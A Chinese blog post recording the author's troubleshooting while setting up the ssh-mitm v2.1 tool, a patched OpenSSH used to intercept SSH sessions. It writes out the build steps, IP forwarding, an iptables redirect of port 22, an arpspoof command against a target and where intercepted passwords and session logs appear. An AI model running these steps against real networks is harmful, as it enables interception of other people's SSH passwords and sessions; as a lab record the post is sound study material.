上一篇记录了jmitm2的使用,这一篇记录另一个工具SSH MITM v2.1。

此工具相当于一个OpenSSH v7.5p1源代码的补丁,使其充当受害者与SSH服务器之间的代理。同时,所有明文密码和会话都记录在磁盘上。

1. 首先是进行下载:

attack@ubuntu:/home$ git clone https://github.com/jtesta/ssh-mitm.git
attack@ubuntu:/home$ cd ssh-mitm
root@ubuntu:/home/ssh-mitm$ bash install.sh

运行install.sh主要是进行下载OpenSSH存档,验证其签名,编译它,并初始化要在其中执行的非特权环境。然而在这一步就出现了难以解决的问题。在最后验证签名时,显示签名无效:

这个问题我至今不知道如何解决,执行到这里出错之后,install.sh之后的代码就无法继续执行了。

2. 按照作者的说明,第二步应该是寻找目标,也就是使用JoesAwesomeSSHMITMVictimFinder.py脚本,这一步没有问题:

可以查到受害主机连接了git服务器(这个是在kali上实验时的截图)。

3.第三步应该是进行攻击,按照作者的说明,这一步是以root身份执行start.sh,这将会启动sshd_mitm,启用IP转发,并通过iptables设置SSH数据包拦截。

然而在这一步同样出现问题,系统中并没有sshd_mitm:

root@ubuntu:/home/attack/ssh-mitm# bash start.sh
Error: could not find sshd_mitm.  You need to first run install.sh.

也就是因为在install.sh出错的时候,没能完成sshd_mitm的设置。

后来在另一个网站查到了更详细的解决办法,文章是这么描述的:

1.) Run sshd:cd /path/to/openssh-7.5p1-mitm
sudo $PWD/sshd -f $PWD/sshd_config2.) Enable IP forwarding:sudo bash -c "echo 1 > /proc/sys/net/ipv4/ip_forward"
sudo iptables -P FORWARD ACCEPT3.) Allow connections to sshd and re-route forwarded SSH connections:sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 224.) ARP spoof a target(s) (Protip: do NOT spoof all the things! Your puny network interface won't like be able to handle an entire network's traffic all at once. Only spoof a couple IPs at a time):arpspoof -r -t 192.168.x.1 192.168.x.55.) Monitor auth.log. Intercepted passwords will appear here:sudo tail -f /var/log/auth.log6.) Once a session is established, a full log of all input & output can be found in /home/bogus/session_*.txt.

但是这个第一步是找到了openssh-7.5p1-mitm这个文件夹,可是我在实验的时候,只能找到补丁文件openssh-7.5p1-mitm.patch,找不到文件夹。这个方法也没能继续下去,但是看install.sh运行的时候,openssh-7.5p1-mitm是下载了的,所以还需要进一步查一下。

更新:

之后又查到一个更详细的操作说明,几乎所有都是命令行操作,实际上是手动进行了start.sh。(也就是说第二个参考链接给出的内容是不全的)

初始设置

1.)安装zlib和openssl标头:

sudo apt install zlib1g-dev libssl-dev

2.)下载OpenSSH v7.5p1并验证其签名:

wget https://ftp.openbsd.org/pub/OpenBSD/OpenSSH/RELEASE_KEY.asc
wget https://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-7.5p1.tar.gz
wget https://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-7.5p1.tar.gz.asc
gpg --import RELEASE_KEY.asc
gpg --verify openssh-7.5p1.tar.gz.asc openssh-7.5p1.tar.gz

实际上在这一步也出现了install.sh同样的问题,但是由于没有脚本中的判断语句,所以只是警告。

3.)解压缩,修补源代码并编译它:

tar xzf openssh-7.5p1.tar.gz
patch -p0 < openssh-7.5p1-mitm.patch
mv openssh-7.5p1 openssh-7.5p1-mitm; cd openssh-7.5p1-mitm; ./configure --with-sandbox=no && make -j 10

4.)创建密钥和设置环境:

sudo ssh-keygen -t ed25519 -f /usr/local/etc/ssh_host_ed25519_key < /dev/null
sudo ssh-keygen -t rsa -b 4096 -f /usr/local/etc/ssh_host_rsa_key < /dev/null
sudo useradd -m sshd && sudo useradd -m bogus && sudo chmod 0700 ~sshd ~bogus
sudo mkdir /var/empty; sudo cp ssh ~bogus/

开始攻击

1.)运行sshd :

cd /path/to/openssh-7.5p1-mitm
sudo $PWD/sshd -f $PWD/sshd_config

这一步会报错:Error: sshd_mitm must be run under a non-privileged account!  UID and GID must be >= 500.

而改为普通用户会显示无法加载主机密钥:


而这个问题一直找不到解决办法。

后面就是常用的攻击手法:

2.)启用IP转发:

sudo bash -c "echo 1 > /proc/sys/net/ipv4/ip_forward"
sudo iptables -P FORWARD ACCEPT

3.)允许连接到sshd并重新路由转发的SSH连接:

sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 22

4.)ARP欺骗目标

arpspoof -r -t 192.168.x.1 192.168.x.5

5.)监控auth.log , 截获的密码将显示在此处:

sudo tail -f /var/log/auth.log

6.)建立会话后,可以在/home/bogus/session_*.txt找到所有输入和输出的完整日志。

然而对这个参考资料我也有疑问,全程没有使用start.sh,这套命令更偏向于全程手动控制。而让我更搞不懂的是,start.sh中明确写出了sshd_mitm的位置,是在/home/ssh-mitm/bin/sshd_mitm,而实际上ssh-mitm文件夹内根本没有bin文件夹,也没有sshd_mitm,所以这套命令行没有使用start.sh,可能也是因为如此。

后来继续看start.sh的内容,前面的内容基本都是以上的命令行,但是在后面没能执行的位置发现了设置“bin”和“etc”子目录,分别用于保存可执行文件和配置文件的语句,所以准备全部手动打一遍,如果成功的话,看能不能相当于start.sh运行完毕。

更新:

之前想询问一下原作者,因为报错的内容是中文,所以想换成英文系统再操作一遍,结果英文系统签名不报错了,后来又仔细看看了看源代码,发现之前判断时不是简单的依靠0和1来判断,还包括签名认证的语句,所以需要英文系统才能跑通。

之后还有一些小问题但都很好解决,就不记录了。

跑通之后进行ssh拦截,发现公钥更换为我们设置的:

参考链接:

https://github.com/jtesta/ssh-mitm#ssh-mitm-v21

https://securityonline.info/ssh-mitm-ssh-man-middle-tool/

https://n0where.net/ssh-mitm-tool

sshv2 mitm工具SSH MITM v2.1的使用记录相关推荐

  1. 【linux系统编程】远程登录工具ssh | 跨主机远程拷贝scp

    远程登录工具ssh && 跨主机远程拷贝scp 正文开始@Assassin 目录: 远程登录工具ssh && 跨主机远程拷贝scp 1. ssh简介: 2. ssh基本 ...

  2. 自由天空XP/2K3封装工具 Easy Sysprep v2.0 正式版封装教程

    自由天空XP/2K3封装工具 Easy Sysprep v2.0 正式版封装教程     制作万能Ghost系统光盘必须对操作系统进行重新封装,在<[原创]跟我一起打造自己的GHOST系统安装光 ...

  3. 溜溜tc games(投屏工具) 官方免费版 v2.0.0

    点击下载来源:溜溜tc games(投屏工具) 官方免费版 v2.0.0 TC Games是一款非常好用的手机游戏投屏工具,有了这款软件我们就可以将手机上的游戏画面投入到电脑上,大屏幕玩游戏,这样肯定 ...

  4. 自动化工具ssh/scp/ansible

    SSH服务概述 SSH服务- OpenSSH ,远程连接 服务端:openssh-server 客户端:openssh-clients openssh-clients-7.4p1-21.el7.x86 ...

  5. 推荐7款超级好用的终端工具 —— SSH+FTP

    1.Cmder 下载地址:https://cmder.net/ Cmder是一个代替cmd的终端工具.只能操作Windows. 它的好处是: 支持大部分Linux命令,比如ls 鼠标选中默认复制,鼠标 ...

  6. ssh xm 工具_推荐7款超级好用的终端工具 —— SSH+FTP

    一.Cmder Cmder是一个代替cmd的终端工具.只能操做Windows.linux 它的好处是:shell 支持大部分Linux命令,好比ls 鼠标选中默认复制,鼠标右击粘贴 美观的界面,能够自 ...

  7. ramos一键处理多合一_PrimoCache驱RAMOS一键制作工具四合一 V2.99版

    基于PrimoCache软件的RAMOS一键制作工具,不需要进winpe,直接以你的系统为基础制作出ramos系统,而且有4种模式可以选择,每一种都有其自己的特点,跟之前的Primo Ramdisk驱 ...

  8. 金庸群侠传修改器链接服务器,《金庸群侠传》专用修改工具:KGEdit v2.81

    1.新增功能:可变结构战斗编辑 用法:修改jy.ini中的[WarStruct]字段,可以自行设计War.sta结构 原版的结构: [WarStruct] BattleDataItem=12 ; 数组 ...

  9. 路由器安全测试工具 – Router Scan v2.51

    Router Scan v2.44是一款路由器安全测试工具,可以指定IP段对路由器进行暴力破解等安全测试,支持多种TP-LINK.Huawei.Belkin.D-Link等各大品牌型号的路由器 老版本 ...

  10. Web集成工具Thinfinity® VirtualUI™ v2.0发布丨附下载

    2019独角兽企业重金招聘Python工程师标准>>> Cybele Software,Inc.发布Thinfinity VirtualUI v2.0版.该产品让开发Windows桌 ...

最新文章

  1. Spring学习(23)--- AOP之Introductions应用
  2. git常用命令速查表【转】
  3. 和封神一起“深挖”Spark
  4. 微软更懂“怎样尊重程序员”,正在改进程序员招聘流程
  5. 建立管理SQL Server登录帐户
  6. cad画流程图的插件_盘一盘,那些提效/创意的 vscode 插件
  7. 2020年10月程序员工资统计,平均14459元
  8. ui li 菜单 点击添加下级_如何制作导航栏中的下拉菜单
  9. excel不显示0_【扫盲】小白必看:excel表里数字格式常见的几种错误?
  10. excel格宽度转html像素,使列表框的列宽自动适应内容的宽度?(已有思路但需解决转换成像素问题)...
  11. Log4Cpp 使用实例
  12. Python数据分析与机器学习27-拼写纠正实例
  13. 密码学笔记——培根密码
  14. 360浏览器保存的html没有图标,电脑360浏览器图标不见了怎么办
  15. Android 应用内部打开PDF文件
  16. 印度BIS认证标志详解
  17. 电脑技巧:Win7、Win10、Win11如何选择,看完你就懂了
  18. python用于cad_使用Python读取AutoCAD DXF文档
  19. OO之美:好代码和坏代码
  20. python 梦幻西游_tensorflow实践:梦幻西游人物弹窗识别(二)

热门文章

  1. 程序员如何编写高大上且实用的技术文档
  2. java导出excel锁定状态_Java设置excel单元格锁定状态 | 学步园
  3. 基础知识 字节、KB、MB、GB 之间的换算关系
  4. mysql 能用compute_SQL compute by 的使用
  5. Word2010怎么绘制斜线表头
  6. ATC52 学习记录
  7. 万卷书计划-2016年开启
  8. 浏览器刷新页面导致vuex数据丢失问题如何解决?
  9. INT 10H中断功能详解
  10. u盘如何在计算机应用内存,u盘扩大内存,小编教你如何用U盘扩展内存